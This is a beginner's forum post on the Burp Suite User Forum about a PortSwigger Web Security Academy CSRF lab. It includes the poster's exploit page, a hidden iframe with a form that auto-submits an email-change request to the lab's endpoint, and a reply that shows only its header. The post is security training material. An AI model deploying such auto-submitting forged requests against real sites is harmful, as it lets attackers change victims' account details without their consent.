Research Academy
My account Customers About Blog Careers Legal Contact Resellers
The Burp Suite User Forum was discontinued on the 1st November 2024.

Burp Suite User Forum

For support requests, go to the Support Center. To discuss with other Burp users, head to our Discord page.

SUPPORT CENTER DISCORD

CSRF LABS

Auxi | Last updated: Aug 17, 2024 02:43AM UTC

Hi,I just started learning cyber security and came across these labs. i started with csrf labs and i understood their concept but when viewing the exploit it doesnt change the email but when i deliver it to victim it's says congrats! you have solved the lab but i cant see the visual change of email on the website it just stays the same email even though i check the email that i run in script is different!!!! What's the issue i will provide the script i am using below !! <html> <body> <h1>HELLO WORLD!!</h1> <iframe style="display: none;" name="csrf-iframe"></iframe> <form action="https://0a33003a04839fcc8149c67100fc0041.web-security-academy.net/my-account/change-email/" method="get" target="csrf-iframe" id="csrf-form"> <input type="hidden" name="email" value="test3@test.com"> </form> <script>document.getElementById("csrf-form").submit()</script> </body> </html>

Ben, PortSwigger Agent | Last updated: Aug 19, 2024 10:26AM UTC